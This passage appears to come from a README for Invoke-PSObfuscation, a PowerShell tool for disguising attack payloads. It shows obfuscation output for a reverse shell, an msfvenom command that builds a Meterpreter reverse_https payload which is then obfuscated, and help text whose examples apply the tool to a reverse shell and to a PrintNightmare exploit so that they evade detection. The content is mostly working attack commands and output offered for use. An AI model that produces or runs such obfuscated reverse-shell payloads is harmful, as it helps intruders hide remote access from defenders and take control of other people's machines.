Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444) Generator 1 >> 65535 >> $((65535)) [*] Obfuscating strings Generator 2 >> 127.0.0.1 >> $([char](16*49/16)+[char](109*50/109)+[char](0+55-0)+[char](20*46/20)+[char](0+48-0)+[char](0+46-0)+[char](0+48-0)+[char](0+46-0)+[char](51*49/51)) Generator 2 >> PS >> $([char](1*80/1)+[char](86+83-86)+[char](0+32-0)) Generator 1 >> > >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_}) [*] Obfuscating cmdlets Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_}) Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_}) Generator 1 >> Out-String >> & (("Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B")[13,16,3,25,35,3,55,57,17,49] -join '') [*] Writing payload to /home/tristram/obfuscated.ps1 [*] Done ``` ### Obfuscated PowerShell Reverse Shell ![Alt text](./screenshots/0bFu5c4t3d.jpg "0bFu5c4t3d") ### Meterpreter PowerShell Shellcode ```shell ┌──(tristram㉿kali)-[~] └─$ pwsh PowerShell 7.1.3 Copyright (c) Microsoft Corporation. https://aka.ms/powershell Type 'help' to get help. PS /home/kali> msfvenom -p windows/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1 -o meterpreter.ps1 [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 686 bytes Final size of ps1 file: 3385 bytes Saved as: meterpreter.ps1 PS /home/kali> . ./Invoke-PSObfuscation.ps1 PS /home/kali> Invoke-PSObfuscation -Path ./meterpreter.ps1 -Integers -Variables -OutFile o-meterpreter.ps1 >> Layer 0 Obfuscation >> https://github.com/gh0x0st [*] Obfuscating integers [*] Obfuscating variables [*] Writing payload to o-meterpreter.ps1 [*] Done ``` ## Comment-Based Help ```powershell <# .SYNOPSIS Transforms PowerShell scripts into something obscure, unclear, or unintelligible. .DESCRIPTION Where most obfuscation tools tend to add layers to encapsulate standing code, such as base64 or compression, they tend to leave the intended payload intact, which essentially introduces chokepoints. Invoke-PSObfuscation focuses on replacing the existing components of your code, or layer 0, with alternative values. .PARAMETER Path A user provided PowerShell payload via a flat file. .PARAMETER All The all switch is used to engage every supported component to obfuscate a given payload. This action is very intrusive and could result in your payload being broken. There should be no issues when using this with the vanilla reverse shell. However, it's recommended to target specific components with more advanced payloads. Keep in mind that some of the generators introduced in this script may even confuse your ISE so be sure to test properly. .PARAMETER Aliases The aliases switch is used to instruct the function to obfuscate aliases. .PARAMETER Cmdlets The cmdlets switch is used to instruct the function to obfuscate cmdlets. .PARAMETER Comments The comments switch is used to instruct the function to remove all comments. .PARAMETER Integers The integers switch is used to instruct the function to obfuscate integers. .PARAMETER Methods The methods switch is used to instruct the function to obfuscate method invocations. .PARAMETER NamespaceClasses The namespaceclasses switch is used to instruct the function to obfuscate namespace classes. .PARAMETER Pipes The pipes switch is used to instruct the function to obfuscate pipes. .PARAMETER PipelineVariables The pipeline variables switch is used to instruct the function to obfuscate pipeline variables. .PARAMETER ShowChanges The ShowChanges switch is used to instruct the script to display the raw and obfuscated values on the screen. .PARAMETER Strings The strings switch is used to instruct the function to obfuscate prompt strings. .PARAMETER Variables The variables switch is used to instruct the function to obfuscate variables. .EXAMPLE PS C:\> Invoke-PSObfuscation -Path .\revshell.ps1 -All .EXAMPLE PS C:\> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1 .OUTPUTS System.String, System.String .NOTES Additional information about the function. #> ```